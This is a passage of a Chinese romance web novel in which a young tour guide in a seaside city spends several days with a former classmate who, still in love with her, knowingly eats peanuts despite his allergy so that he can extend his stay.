此起彼伏的,全是女生的惊叹声,同时还有她们聚集过来的身影。顺着她们的视线看过去,姜挽也是一怔。 刚才她只顾叮嘱他们注意事项,这会儿放松下来看过去,才发现他俩是真的帅。肩宽腿长,身材挺拔,在一众朴实无华甚至稍显臃肿的人群里,显得格外出类拔萃。 尤其是陈屿,黑色护目镜和防护服的搭配,不仅没有削弱半分他的气质,反而还增添了几分酷帅。 人越聚越多,姜挽原本离他们是最近的,现在反而被挤了出来,她干脆退远了点,只要能看见他们就行,反正她也是打算休息的。 很快,不远处的水域传来一阵引擎的轰鸣声,接着好几辆摩托艇同时起步,犹如离弦的箭一般迅速冲向了大海。 这个项目一开始是孟云程提出来的,陈屿只是被动接受,姜挽还以为他是去陪孟云程的,可这会儿再看,却发现他真是骑得熟练,海上那么多辆,偏偏视线落在他身上时,就再也挪不开了。 加速,超越,冲刺! 随着他的不同动作,摩托艇在水上掀起一尾又一尾的浪花,还有各种“直行回转”和“迎风破浪”的玩法。说实话,姜挽在城南岛兼职这么多年,见其他人玩的次数不少,但能玩到陈屿这种程度的,老实说,还真没有几个。 浪花掀落,掌声呐喊声此起彼伏。 “真他妈帅!看见没,就那个,最帅的那个,我一会儿一定要和他表白,要加上他的微信!” “哈哈,那你可得加油了,因为我也看上他了。” “你怎么什么都要和我抢?” “是我和你抢吗?你往周围看看,这里的哪个女生不是打算和你抢?” …… 因为有两个女生离她比较近,所以她们之间的对话,姜挽一直都能听到。确实,即便她已经认识陈屿这么长时间了,还是不可抑制地会觉得心跳加速,就更别提这些第一次看见他的女生了。 他好像一直都是如此,轻而易举地就能吸引到其他人的目光,站在人群的峥嵘处。不过这样也好,那么多比她好的,他一定很快就能遇到新的。 半个小时左右,陈屿和孟云程从海里回来了,他们刚一上岸,便立马有女生围了上去,隔得远,姜挽听不清她们的对话,但猜想应该是在找他要微信或者电话之类的。 她原本应该第一时间过去的,可又不想这么没礼貌地打断她们,想着他们处理完这些事情,怎么着也得十几分钟吧,于是便拿着东西在旁边安静等着。 但很快,不到一分钟吧,陈屿便拂开人群,朝她走了过来。头发上还有水,他抬手撸了一把,几滴落在鼻梁和下巴处,阳光下,更衬得他五官精致又锐利,似乎还带着一点点……不悦? 游客的情绪和体验,就是姜挽此刻的头等大事,她忙跑过去,开口询问:“怎么了?是不是刚才的项目出问题了?还是说有什么地方让你不满意了?有什么不满意的你和我说,我现在就去帮你们协调解决。” “项目挺好的,就是人多了点。” “人多?”姜挽回想刚才他们起步时的场景,“好像是有几辆,不过这已经是这里最小的规模了,要是你还觉得人多的话,我后面可以和旅行社反应一下,看看有没有补偿方案。” “我指的不是这个。”陈屿叹一口气,在这方面,她之前就经常不明白他的意思,更别说现在还想和他撇清关系了,肯定就更不在乎了。 他指了指此时仍被几个女生围着的孟云程:“是这些。” “啊,哦,”姜挽终于反应过来,“可是我觉得……”话说一半,她又噤了声。她原本想说她们也没有别的意思,况且,多认识几个朋友也不是坏事。可是这些话,以她现在的导游身份似乎并不大适合说。 “觉得什么?”陈屿却追问,他音色沉,眼睫垂着,落在她身上,像是在和她说,又好像并没有,“我是说过以后都不会再打扰你,但并不代表我就能接受其他人。” 一瞬间,姜挽的心停跳,接着便是剧烈地搏动,她不知该如何接他这句话,更不知该作何反应。 突然,不远处传来阵阵咕鸣,是不知名的水鸟在叫,打破了这沉默的氛围。 姜挽回神,趁机将手里的东西递给他:“抱歉,你先帮我拿一下,我去把孟云程带过来,我们还有接下来的行程要进行。” 她在逃避,陈屿接过,没多说什么:“去吧。” 孟云程回来后,先是兴奋地分享了一番刚才开摩托艇的体验,继而便开始抱怨太热太累,听到姜挽说接下来还有行程后,当即便开始摆烂:“算了,我不去了,我今天的电量已经耗完了,得回酒店充电。” 经过刚才的事情,陈屿的兴致也不怎么高了:“那就回去吧。” 姜挽还是第一次遇到这种游客中途放弃的情况,但旅行途中全程要以游客的第一意愿为主,这是她们的工作准则:“那行,那我准备一下,我们现在就回去。” 回去的一路,比上午来时人还要多,除了和他们一样离开的游客外,还有这会儿才赶过去的。所以一路走走停停,到酒店时已经差不多五点多了。 将他们安顿好后,姜挽打算离开,孟云程却突然开口:“留下来一起吃了晚饭再走吧,陈屿会请客的。” “不用了,”姜挽连忙拒绝,她起身开始收拾东西,“没有导游和游客一起吃饭的先例。” “刚才你是导游,可现在工作结束了,我们就是同学关系,同学见面,一起吃顿饭再正常不过了吧。” 这理由姜挽没办法正面拒绝,只得从其他方面开口:“我晚上还有其他的事要做,怕是没时间。” “事情要做,晚饭也是要吃的,吃完再做也来得及。” 这来来回回的,全是她和孟云程的对话,陈屿一直没开口,低头翻找着手机。 姜挽还以为他很忙,刚想借他忙碌的理由再次拒绝,谁知下一秒他却突然将手机翻转过来,对向她,屏幕显示是一家海鲜餐厅。 “这家怎么样?我看评分还不错。” “……啊?”姜挽眨了眨眼睛,有点没反应过来。 孟云程凑过来,接过陈屿的手机开始翻看:“评价基本都是满分,在江城又是排名第一,主要是这价格,我很满意,行了,就它了。” 他把手机还给陈屿,又来和姜挽说话:“我说了吧,陈屿会请客的,这种餐厅,只有跟他一起才能放开吃。走吧,一起去,我们还需要你帮忙推荐呢。” 说罢,他先往外走,剩下姜挽和陈屿,陈屿倒也不着急,见她懵懵的,还特意朝她做了个“请”的手势。 姜挽有点尴尬,忙跟上孟云程,她也搞不清到底是怎么发展的,事情就成现在这样了,但她记得刚才孟云程最后的那句话,边走边小声开口:“可是这种餐厅我也没去过呀,去了也不能帮你们推荐什么。” 孟云程走得快,没听到她说的话,倒是陈屿离她不远听清楚了:“放心,这次不让你做导游,也不让你推荐。” “那我?” “只负责吃。” 到了地方,果然如陈屿说的那般,点菜前完全没询问她,而是直接照着招牌和店员的推荐,全点了一遍。 姜挽默默看着这经过加工的菜名,意识到就算让她点,她也是点不出来的。虽然她自小生活在江城,可这十几年来接触的生活,打转的圈子,也一直都是最普通的那一层。像这种奢华的,高档的,一直离她都很远。 虾籽烧海参,鱼子酱配雪花牛肉,香煎金蚝皇,秘制腌膏蟹,冰焯象拔蚌…… 陈屿点了整整一桌,他们三个人从菜上来,就再没放下过筷子。几口下肚,姜挽感叹,果然不愧是江城排名第一的餐厅,每一道菜基本都好吃,精致,细腻,滑嫩,咽下去还有一股唇齿留香的感觉。 吃的差不多了,孟云程才开口,今晚一定要让姜挽一起来吃饭,是因为有件事想拜托她。 “什么事,你直说吧。”姜挽很爽快。 “我想麻烦你不要把在江城见到我和陈屿的事告诉尤伽,因为她不知道我们过来,我怕她知道后会骂我们故意来麻烦你。”说着,孟云程喝一口酒,顿了下,“而且我们当时确实是打算来度假的,也没有想到会在这里遇上你。” 他说完这些,姜挽的第一反应是去看陈屿,他也正看着她,只是眼底眸色深沉,看不出来他此刻在想什么。 其实她一开始遇上他们的时候也不是没有想过这些,毕竟这么大的城市偏偏就能和他们遇上,也真是巧合了。 可现在看来还真就是巧合。 “你放心吧,我不会告诉她的。” “那就好,感谢!”孟云程朝她敬酒,端起杯才意识到姜挽不喝酒,于是他又把酒杯举向陈屿,“感谢,感谢,敬你也是一样的。” 陈屿一顿饭都没怎么喝,这会儿倒是端起来和他碰了下。 考虑到姜挽晚上回去还有其他的事情,他们这顿饭吃得很快,吃完便各自散了,陈屿和孟云程回酒店,姜挽则是回家。 进了房间,陈屿第一件事便是给旅行社去了一个电话,对方很真诚,还以为他是要询问关于今天的兼职导游打折的事情,便率先给出了一个非常优惠的折扣。 哪知陈屿却拒绝了:“不用打折,今天的导游很专业,也很负责,她值得这份工资。另外,今天我买了几张轮渡票,如果她后续和你们反应,请不要把这笔钱退给我,以奖金的形式发给她就行,但不要说是我要求的。” 旅行社经常会遇到这种游客匿名表扬导游的情况,所以他们也没多想,只是秉着认真工作的原则:“感谢您对我们导游的支持,和对我们旅行社的支持,能让您满意,是我们最大的动力。” “我还有一个要求。”陈屿稍回过头,眼神落向窗外的夜色。 “您请讲。” “明天是我在江城的最后一天,我还想让今天的这个导游负责我的行程。” 对方大概没想到他会提这个要求,稍愣了下:“陈先生,鉴于您在我们旅行社预付的押金数额,我们完全可以推荐更专业的全职导游来接待您,今天这种情况只是因为……” 陈屿打断她,很坚持:“抱歉,请帮我继续安排今天的姜小姐,她要是有其他的行程,我可以加钱。” 对方听出了他的决心,没再劝:“好的,请您稍等,我帮你看下她明天的行程安排。” 过了没多久,也就一两分钟吧,对方再次开口:“可以的,明天姜小姐刚好有时间。” 陈屿收回视线,离开窗边:“好的,谢谢。” “不客气,祝您旅游愉快,晚安。”—— 作者有话说:玉牙凤蝶资料来源于百度。 第39章 过敏 第二天醒来, 孟云程一听今天还要出门,当即便不愿意了,干脆重新躺回床上:“这都最后一天了,你就不能消停会儿吗?大热天的, 在酒店睡觉打游戏多舒服啊, 非得跑出去晒太阳。” 陈屿没接他这茬, 只是和他确认:“那你是不去了?” “不去。”孟云程很干脆。 “那行, 你在酒店待着吧。” 孟云程看着他开始收拾东西, 一会儿往背包里装瓶水, 一会儿又塞了一把遮阳伞,最后甚至还放了不少的零食进去,觉得很奇怪, 这完全就不是他的风格。 孟云程开口问他:“你今天是一个人去吗?” 陈屿正忙着清点东西, 没搭理他。可孟云程在这方面, 一向就仿佛装了雷达一般, 总能精准地定位:“你该不会是和姜挽一起吧?”不然也犯不着准备得这么仔细啊。 被猜中了,陈屿有点尴尬, 手上的动作顿了一下, 继而继续装作很忙碌的样子:“你不是不去吗?问这么多干嘛。” “怎么,问问都不行啊?”他这样, 孟云程便知道自己猜对了。他从床上起来, 绕着陈屿走了两圈,“你小子真是……” 贼心不死, 锲而不舍, 他想说。可一想,也挺佩服他的。 “旅行社昨天不是说是临时安排她过来的吗?你和他们说了什么?竟然今天也安排她了?” “没说什么,正常表达需求, ”陈屿看一眼时间,打算走了,离开前,他最后一次和孟云程确认,“你确定不去了?” “当然确定,”孟云程头摇得如拨浪鼓一般,“本来我就不想去,现在就更不会去了,去了不就成电灯泡了。” “我说过了,我这次来……” “你这次来就是为了看看她生活的地方,没想过打扰她,”孟云程接他的话,“这话你都说过八百遍了,你放心,我理解,并尊重。只是这种情况下你们都能碰上,真是有缘分。” 孟云程收起他那副纨绔的样子,难得正经:“见想见的人,做想做的事,人生能有几次这样的恣意,兄弟,我绝对支持你。” 从他嘴里说出这种颇具哲理性的话,陈屿觉得非常不适应,略显疑惑地看着他。 孟云程也感觉到了:“怎么,我就不能偶尔说两句有哲理的话吗?瞧不起谁呢?” “行吧。”陈屿背上包,打算走,突然,孟云程再次开口:“对了,你们玩归玩,记得回来给我带晚饭啊,中午我就在酒店凑合一顿算了,晚饭你得帮我解决。” 陈屿看他一眼,算是应下了,这才是他认识的那个孟云程。 姜挽看到陈屿一个人出现的时候,也有点纳闷,她还以为孟云程是耽误了,特意往陈屿身后看了两眼,结果盯了许久,也没看到孟云程的身影,反而是等来了陈屿不咸不淡的一句:“别看了,今天他不去,就我一个人。” 被发现了,姜挽收回视线,有点尴尬。 本来昨天晚上被告知今天还需要带他们时,姜挽觉得还可以,而且还当场就答应了下来。因为白日里一直都是他们三个人一起,孟云程一路话也多,基本不会出现冷场的情况。反正怎么着都要带人,相对而言,年轻人肯定更好相处。 可现在倒好,孟云程不去,就只剩她和陈屿了,她难免有些尴尬。 之前发生的那些事,虽然他俩谁都没提,可没提,并不代表不存在,也不代表会忘记。 “孟云程确定不去了吗?要不我们再等等他?”她尝试开口,想看看还有没有挽回的余地,“毕竟你们登记的信息是两个人。” 陈屿饶有兴致地看着她:“怎么,登记两个人,一个人出行,这种情况,你们旅行社不允许吗?” “当然不是,”姜挽摇头,忙开始找补,“我只是觉得你们花了两个人的钱,要是只去一个人的话,有点亏了。” “他嫌热嫌累,不想去。”陈屿看着她,给出了真实的理由。 回想昨天孟云程的表现,姜挽觉得他说的应该是实话,事已至此,多说无益,她只能接受当前的现状,尽快拿出自己的专业态度:“好的,那你今天想去哪里?我做了一个计划表,要不先给你……” “不用,”陈屿打断她,“就去昨天没去的城南寺就行。” “但城南寺景点不多,应该玩不了一天。”姜挽提醒他。 “那就到时候再看。” “好。” 他们今天出门比昨天早,路上也没昨天那么堵,所以到达城南寺时,人还不算多。 江城地势起伏,城南寺又恰巧在海拔高的那块儿,所以,理论上而言虽比不得那些山地高原的陡峭地形,可在这种天气下爬山,总归还是有点辛苦的。 一开始,姜挽基本还能跟上他的速度,可过一半,便觉得不行了。这条路,这座山,她也不是第一次来,之前跟着其他游客都还好,也没有拖过后腿,和他这是唯一的一次,只能说,陈屿的体力实在是太好了。 怕耽误他的行程,姜挽提出建议:“要不你先上去,在山顶等我,我稍微休息一下马上就走,这样就不会耽误你的时间,你也可以在上面多待一会儿。” 她说了一大堆,陈屿却没听,而是直接来到她旁边,打开了背包,从里面拿出水和零食递给她:“也不在乎这点时间。” 姜挽本来不想接的,可她因为提前不知道今天陈屿要来城南寺,所以水和食物都准备得不够,刚才过来的一路,早喝完了。 这会儿看着他递过来的水和面包,也没什么坚持的底气:“谢谢。” 趁着她吃东西,陈屿又把早上出门时装的那把遮阳伞拿了出来,伞面撑开,头顶立时投下一片阴凉,姜挽感叹:“你准备还挺充分的,你平时出门就带这么多东西吗?” “嗯。”陈屿囫囵应一句,像是不想多聊,只默默在旁边当一个“撑伞工”。 姜挽哪好意思让他一直帮忙撑着,吃完东西,恢复体力后,便这次和他一起启程。 这次,他们一次性到达了山顶。 城南寺面积很大,基本覆盖了整个山顶。红墙金瓦,飞檐脊兽,刚靠近,便立觉一股庄严肃穆的氛围。 禅院,青石小路,还有长廊,他们跟着人流走,很快便来到大雄宝殿,隔着缭绕的香火,能听到殿内传来的阵阵诵经声。 “一起进去吗?”陈屿问她。 “好。”姜挽答得干脆。 其实,这并不是她第一次来这里,以往和其他游客一起时,她也基本都是在殿外等。可这次不同,因为是和陈屿一起来的,因为身边的人是他,所以,她才想要一起去。 点香,高举,供奉。 神佛之下,蒲团之上,他们二人皆手心向上,虔诚祈祷。 就这样吧,陈屿想,就和她保持着如今这种关系,来日方长,终有一天,他能守得月明。 就这样吧,姜挽想,就和他保持着如今这种关系,时间隐逝,终有一天,他会找到属于自己的幸福。 从大殿出来,他们二人心照不宣地谁也没问刚才许愿的事情。 “现在你想去哪?”姜挽率先开口。 “附近随便逛逛吧。”陈屿答。 “好。” 附近的景点虽不多,但胜在自然风景好,经常有游客逛完城南寺后会再次溜达,所以时间长了,姜挽倒是也知道几处清雅幽静的地方。 只是,她发现,全程陈屿对风景的兴趣并不大,无论她介绍什么,他都是简短回答,反倒是对他的相机爱不释手。 不管什么时候她去看他,他都在拍照。好几次姜挽回头的时候还发现摄像头正对着她,于是连忙躲开。 陈屿这么认真,倒是让她对他拍的照片产生了兴趣:“我能不能看看你都拍了什么?” 她刚靠近,陈屿便立马将相机举高:“没什么好看的,都是一些普通的景色。” “好吧。”姜挽退后两步,没再继续,本来她也就是随口一问。 后面陈屿再拍照,姜挽就没再问了,只不过时常会被框进他的镜头里。一开始姜挽还担心影响到他的构图,来回切换站位,后面见他也不怎么在意,而且来回走确实是麻烦,索性也就不动了,由着他调整。 等他们把附近的景点逛完,时间也差不多了,本来按计划是应该先送陈屿回酒店的,可他说饿了,想吃完饭再回去。姜挽一想觉得也是,他们的午餐本来就是随便解决的,这个点早该饿了,于是便在附近找了一家类似于农家乐的饭店。 “这家可以吗?”她把手机递给他。 陈屿快速瞥一眼,对这些比较随意:“你决定就行。” 因为同属江城,所以这家店的菜其实和他们前几天吃的差不多,只是因为位于山脚,地理位置优势,多了几道特色小菜。 其中有一道凉菜,刚端上来的时候,陈屿盯着多看了两眼。他这个人对食物一向都比较寡淡,极少出现对哪道菜如此感兴趣的情况。姜挽以为他喜欢,便将餐盘朝他那边挪了挪:“我们这里的特色菜,尝尝看,很好吃的。” 陈屿没动手夹,而是指着其中那些裹着一层白色的酱,且不大分辨的出本身食材的颗粒,问姜挽:“这是花生?” “是啊,”姜挽说着,夹了一颗,“我们这边比较特别的做法,你可以尝尝看。” 话音落,她见陈屿还是没有动筷,不禁觉得有些奇怪:“怎么了,你不吃花生吗?要是不吃的话,我把它……” “没事,”陈屿打断她,挑了下眉,“没什么不可以的。” 一顿饭,他们吃的很快,两人的话都不多,只是在聊到他和孟云程明天会离开江城的时候,姜挽愣了一下。 她觉得时间过得好快,可仔细一想,去一个地方旅游,可不就是三四天嘛。 因为这个原因,今晚这顿饭姜挽坚持要请他,就当是给他们践行。 她原本还以为陈屿会和她拉扯,已经准备了不少的说辞,可没想到这次他却出奇得反常,很爽快便答应了,就连帮孟云程打包的那份,陈屿也让她一起付了。 从饭店出来,天已经黑了,月亮从树梢里探出头来,照得脚下的石板路一片方亮。 姜挽和陈屿原本是并排走的,可走着走着陈屿却突然掉队了,姜挽回头去看,才发现他正拿着摄影机,对着地上的影子在拍照。 姜挽发现,他对摄影还真是喜欢,于是干脆停下来,提议:“要不要停一会儿,等你拍完我们再走。” “不用,我已经拍到了我想要的。” 姜挽其实很想问是风还是月,可考虑到下午陈屿的答复,还是忍了下来。 到酒店后时间也不早了,两人道完别,姜挽便离开了。明天他就要离开这座城市,两人的关系也终将再次回到之前的状态。 即便再不舍,可这就是现实。 陈屿回到酒店,第一件事便是把打包回来的饭菜给孟云程送去,他刚好打完一把游戏,战绩不错,所以这会儿心情很好:“说说吧,你俩今天怎么样?” 陈屿正坐在沙发上翻相机里的照片,有点不怎么想搭理他:“还行。” 相机里是他今天拍的所有,说是所有,不过全部都和姜挽有关罢了。多数是背影,偶尔会有侧面,极少会出现她的正面,但照片里她的表情都很迷蒙,而且相素也比较模糊,都是陈屿怕她发现,快速移动镜头导致的。 这些照片中,其中有一张关于影子的,陈屿最喜欢。那会儿他们刚从饭店出来,头顶月色正浓,光影下,两人的影子挨得很近。陈屿故意走慢几步,在两人的影子重叠,乍一看像是拥抱在一起时,迅速按了快门。 他看得入迷,孟云程对他的回答显然不满意,吃了几口菜之后又来追问:“什么叫还行呀,我特意给你们制造的机会,你就这么敷衍我?从早到晚,一整天的时间,就你们两人独处,真的没有发生点什么?” “你想多了,我说过的,不会打扰她。” “你这话留着骗鬼去吧,你要是真想断,今天还联系人家干嘛,干脆就和我一样在酒店躺一天,明天直接回去,索性清净自在。” 陈屿并不想在这个话题上和他争辩,恰巧相机没电了,他从沙发上起身:“你慢慢吃,我先回房间了。”走了两步,他又再次回身,“对了,你今晚别睡太死了,我可能会找你帮忙。” “帮什么忙啊,现在不行吗,非得半夜折腾人。” “现在还用不着。” 孟云程看着他的背影,开始念叨:“神神秘秘的,我看一碰上姜挽,你就变得不正常了。” 陈屿回到房间先洗澡,然后躺在床上开始一张张翻着相机里的照片,窗外月影婆娑,室内指针摇摆,而他却像是没什么困意似的,来来回回翻看着。准确来说,他像是在等待着什么。 凌晨一点的时候,那感觉终于来了。 他先是觉得脸上和胳膊痒,手一碰,能摸到大大小小的疹子。接着便是胃肠道的反应,恶心呕吐,甚至还伴随着腹痛。 一般人要是遇到这种情况早吓死了,可陈屿却异常平静,甚至还能淡定地拿出手机给孟云程打电话。 电话那头接得很慢,一接起,就是孟云程迷迷糊糊的声音:“什么事?” “我过敏了,你来我房间一趟,带我去医院。” “什么?”电话里传来一阵呼啦啦的声音,应该是孟云程起床了,“我马上过去。” 孟云程的动作很快,出现在陈屿门口的时候,不过才过了一分钟而已。 他头发凌乱,睡眼惺忪,睡衣也皱皱巴巴的,很明显是从床上刚爬起来,一看见陈屿脸上和身上的红疹,顿时炸毛了:“怎么过敏得这么厉害,你今天吃了什么?” 和他比,陈屿倒显得像没事人似的,慢吞吞地收拾东西,声音也不紧不慢的:“不记得了。” “不记得?”陈屿一副不敢置信的样子,开始自顾自念叨,“我记得你只对花生过敏,”说到这,他突然想起来,“晚上你给我打包回来的饭菜里面就有花生,你不会也吃了吧?” 陈屿没回答,但也没反驳,孟云程当场跳脚:“你对花生过敏,不能吃这个,你不知道吗?!” “不记得了。”陈屿还是那句话。 这可把孟云程气得够呛:“吃了什么你不记得,对花生过敏你也不记得,那你说,你还能记得什么?怕是你脑袋里现在满满当当的就只有‘姜挽’两个字了吧。” 陈屿被他吵得头疼,身体也实在难受:“你再这么念叨,不送我去医院的话,我怕是要挂在这了。” “你现在知道怕了,吃花生的时候怎么不记得?” 孟云程嘴上埋怨得厉害,可实际还是担心他,一手拿着陈屿的包,一手搀着他就要走。 走到门口,他突然顿住,像是发现了什么,和陈屿确认:“你这次过敏,不会是故意的吧?”顺着这个思路,他继续开口,“故意过敏,然后就有理由留下来,可以在江城再多待一段时间了?” 虽然陈屿很不想承认,可事实确实如此,但他不会承认,而是狡猾地跳过了这个话题:“你也看到了,我现在这样,明天肯定是没办法回北城了。” “陈屿!”孟云程真是有点控制不住了,吼得声音震天响,“我真是不知道该怎么说你了!” 经过其他房间时,突然传来摔门声,提醒他们声音小一点,孟云程不得不压低声音:“你真是没救了!” 第40章 留下 次日, 姜挽给陈屿打了一个电话,本意是想询问他们几点的飞机,是否需要安排送机服务。可直到嘟声结束,自动挂机, 电话也没接通。而且一连两个都是这种情况, 姜挽很担心。 于是她换了孟云程的电话, 这次倒是很快便接通了, 只是电话那头的声音听起来很疲惫, 像是一宿没睡:“喂, 怎么了?” 姜挽开门见山:“你们去机场了吗?我打陈屿的电话没人接,他和你在一起吗?” “在,我们在一起, 还在酒店, ”孟云程边说, 边打哈欠, “航班改签了,我中午再走。” 从他这句话, 姜挽听出了点端倪:“你一个人走吗?陈屿不和你一起?” “他倒是想, 只是身体不允许,现在正在酒店睡觉呢, 估计刚才也是因为这个原因才没接到你的电话。” “身体不允许?”姜挽立马紧张起来, “他怎么了?” “过敏了。”孟云程叹一口气。 “过敏?严重吗?是因为吃的东西?还是碰到了什么?可昨天他一整天都和我在一起,我没发现他有什么不正常啊。” 她这一连串的问题问得孟云程心累, 而且看这种情况, 陈屿应该是什么都没和她说,孟云程也不好多嘴:“还挺严重的,这事比较复杂, 一句两句的也说不清,你要是方便的话,还是来酒店看一下他吧。” “好,我马上到。” 挂了电话,孟云程去了陈屿的房间,他正躺在床上睡觉,身体微微蜷缩,应该是很难受。 “怎么样?好点了吗?”孟云程叫他。 “还行。”陈屿的回答没什么力气。 “你要是没什么大碍的话,我等会儿就走了。” “没事,你走吧。” 桌上“窸窸窣窣”一阵响,是孟云程在帮他弄药,弄好后,他端过来给陈屿:“这个药,一天三次,一次一片,别忘了。” 陈屿接过:“谢了。” “对了,刚才姜挽给我打电话了,说联系不上你。” 听到这个名字,陈屿的神情立马变了,比刚才精神不少:“应该是手机不小心调成静音了,没听到,我给她回个电话过去。” 说着,他起身就要去拿,被孟云程拦下:“不用,她后来打给我了,我告诉她你过敏了,她一会儿过来。” “来这里?”陈屿有点没反应过来。 “是啊,不然还能去哪儿。” 孟云程看出他有点紧张了,开口调侃道:“怎么,你不会是担心自己现在这个样子吓到她吧?” 知道他是在开玩笑,陈屿没搭理他这茬:“她什么时候到?” “不知道,应该会很快吧,电话里我听她声音感觉挺着急的,”孟云程接过他喝水的杯子,打算回房间,“我也只能帮你到这了,后面的就看你自己了。” 姜挽路上堵车,到的时候,孟云程已经收拾完准备走了,专门在酒店大堂等她,见她来,忙起身:“终于等到你了,你来了,我的任务才算正式完成。” 姜挽明白他的意思:“陈屿现在怎么样?” “你还是自己上去看吧,房间号是801,”周围有人经过,孟云程压低声音,故意营造出一种隐秘的氛围,“他这次过敏还挺严重的,腹痛还有起疹子,从昨晚一直折腾到现在,心情很郁闷。” 姜挽原本在来的路上已经做好心里建设了,一再告诫自己要不急不躁,可这会儿被孟云程这么一说,又忍不住开始着急:“那怎么办?医生怎么说?还需要去医院吗?” “医院倒是不用去了,外在的好医,遵照医嘱按时吃药就行,主要是心理。他这次过敏最严重的地方在脸上,几乎都毁容了。你知道的,陈屿那么一个在意外表的人,心里肯定早就崩溃了。” 他说话的时候,见姜挽一直盯着他,大气都不敢喘一下,孟云程继续造势:“而且在这个城市,我这一走,他就再没有熟人了,也就只认识你了。” 说到这,他故意停顿,姜挽忙开口问:“那需要我做些什么吗?” “其他的倒是也不用,主要是心理开导这一块可能需要你帮下忙,他有什么想法和要求都尽量顺着他,偶尔再逗他开心一下,不然他要是真发生点什么,到时候再后悔可就来不及了,你说对不对?” “嗯,”姜挽觉得他说的很有道理,“你放心吧,我这两天一定多安慰开导他。” “好,那这个艰巨的任务就交给你了,我相信你!” 孟云程离开后,姜挽又在大堂站了好一会儿,前前后后打了好几遍腹稿,确保自己的言语没有任何冒犯意思,不会对陈屿造成二次伤害后,才坐电梯上楼,来到陈屿的房间,敲响了房门。 “哪位?”屋内传来陈屿的声音,因为有了孟云程刚才的铺垫,让姜挽觉得此刻听到他的声音,都有一股悲伤的底色。 她放低音量,尽量显得温柔:“是我,姜挽,我来看看你,方便进去吗?” 屋内很快传来脚步声,然后是门锁被打开的声音,接着,姜挽便见到陈屿出现在她眼前,长袖长裤的打扮,果然精神看起来不怎么样。 “进来吧。” 姜挽忍不住往他脸上看了一眼,发现他脸上确实有红疹,但并不像孟云程说的毁容的程度,一瞬间心里没那么紧张了。 可转念又一想,就像孟云程说的,陈屿那么一个在乎外表的人,可能现在这种程度,对他而言就已经相当于是毁容了。而且这么热的天,他还穿着长袖长裤,不就是为了遮挡身上的疹子吗? 想到这,她心里一下又担心起来,但也不好直接表现出来,担心会刺激到他。 进了屋,陈屿先给她倒水,又去冰箱里翻找,酒店提供的甜点里,有一款蛋糕孟云程说味道很不错。 他找出来,和水杯一起递给她:“随便坐。” “谢谢。”姜挽接过,没怎么看,她这会儿所有的心思都在他身上,想问,却又担心说出来的话会刺激到他,所以一直没开口。犹豫着,犹豫着,就被陈屿抢了先。 “你今天不用去工作?” “今天不用,我和老板请了假。” 陈屿听完,若有所思,但也没再继续开口。 可能是因为心理暗示,这会儿姜挽看着他靠在床头的身影都觉得心酸:“你感觉怎么样?” “好多了。” 气氛还行,见他好像并没有很抵触,姜挽这才接着道:“方便告诉我你是因为什么过敏的吗?” “花生。” “花生?”听到这个回答,姜挽整个愣住:“就是昨天晚上我一直让你尝试的那个花生?” 陈屿转动着手中的手机,没说话。 一瞬间,愧疚,悔恨,还有自责,各种情绪交织在一起,让姜挽的心里顿时一团乱麻,要是她没有劝他吃花生就好了,要是她能在他吃的时候阻止就好了:“抱歉,我不知道你对花生过敏。” 陈屿看着她,一不小心就流露出温情:“这有什么好抱歉的,这件事我又没说过,你怎么会知道。” “那你自己知道吗?”其实她想说,如果知道的话,那为什么还要吃呢。 一瞬间,陈屿像是被问住,尴尬地别开脸,随意答了句:“我忘了。” “……”这种事情也会忘吗,姜挽想问,但考虑到孟云程刚才的叮嘱,陈屿现在心里很脆弱,她切不可再刺激他,于是当即忍下了这股冲动。 下意识地,她又朝他脸上看了一眼,视线撤回的不及时,被陈屿当场抓住:“怎么了?” 好在她一开始便想好了措辞:“其实,你脸上的红疹并不是很严重,没有到毁容的程度。” 她这话说得没头没脑的,陈屿完全没懂,疑惑地看着她。 而这一眼,却又被姜挽误以为是怀疑,怀疑她话的真实性,以及怀疑自己的颜值。稍一想,他要是真因为这个产生什么心理问题的话,那她的罪孽可真就大了。 大概是对自己接下来要说的话很没底气,姜挽来回转动着手中的水杯,然后,心一横,脱口而出:“其实你不用太在意外表的,而且,就算你长了疹子,也还是很帅的。” 她这一系列莫名其妙的话,简直让陈屿额头直冒黑线:“谁说我在乎外表了?认识这么长时间,你见我……”话说一半,他突然反应过来,“是不是孟云程临走前和你说了什么?” “嗯。” “他说了什么?” “就说你这次过敏比较严重,可能会影响心情。”姜挽尽量挑了一些还算委婉的说辞。 哪知,陈屿对孟云程的了解,可比她要多得多:“他没和你说我十分在乎外表,会因为这些心情郁闷,甚至到了要活不下去的地步?” “没有。”其实是说了的,但姜挽此刻认为她不能出卖孟云程,且看陈屿的状态,确实是有那么点“心情郁闷”的症状呢。 事情绝对不能朝着这个方向发展,且她今天过来,就是为了安慰开导他的。 “算了,我们先不聊这个了,”姜挽的话题转得非常生硬,“你今天有想去的地方吗?我可以带你去,就当散散心。” “没有,医生建议我多休息。”陈屿不是不想,是实在走不动。 “好的,生病了是该多休息。” 正当姜挽绞尽脑汁地想其他方式时,陈屿却突然再次开口:“不过明天可以,后天也可以。” “姜挽,”他突然叫她,像是临时起意,又仿佛蓄谋已久,“不如这样,我反正也还要在江城待几天,这几天时间,你来给我当导游吧。如此,既不影响你的工作,我也有人带,怎么样?” 40-50 第41章 任性 次日, 姜挽背着包,在她家附近的公交站等陈屿。昨天陈屿提的那个建议,她后来同意了。 就像陈屿说的,反正他还要在江城待两天, 而她也不放心他一个人, 何不就干脆带着他逛, 这样不仅他没有负担, 她也能做兼职。 两全其美的方案, 她还没有执拗到非要拒绝的地步。 至于承诺什么的, 她已经打破了,既然如此,就让她再任性一回吧。在这有限的时间里, 让她和他一起做一场梦, 一场能抵她以后漫漫岁月, 回想起来不会觉得遗憾的梦。 其实, 针对今天要去的地方,姜挽昨天给他提供了好几个选择, 市区, 郊区,甚至还有江城附近的城市, 可都被他拒绝了。他不是说去过了, 就是嫌太远,偏偏对姜挽现在住的地方很感兴趣。 一听说她和奶奶现在住的地方在农村, 且离海边近, 陈屿就更是一发不可收拾,硬说自己想体验乡村生活,甚至连去酒店接他的环节都省了, 坚持要自己坐公交过来,体验当地生活。 早上九点半,姜挽准时在公交站等到了陈屿,见他一身黑色套装的酷帅打扮,硬生生从一堆打扮质朴,皮肤黝黑的当地村民里挤出来,那场面,真是怎么看,怎么格格不入。 离近了,姜挽注意到他脸上的红疹好多了,但为了避免被晒伤,今天还是戴了帽子,这是她昨天交代他的。 “一路过来怎么样?还顺利吗?” 陈屿一边整理衣服,一边拍打刚才不知被谁踩了好几脚的鞋,压着脾气:“不错,挺顺利的。” 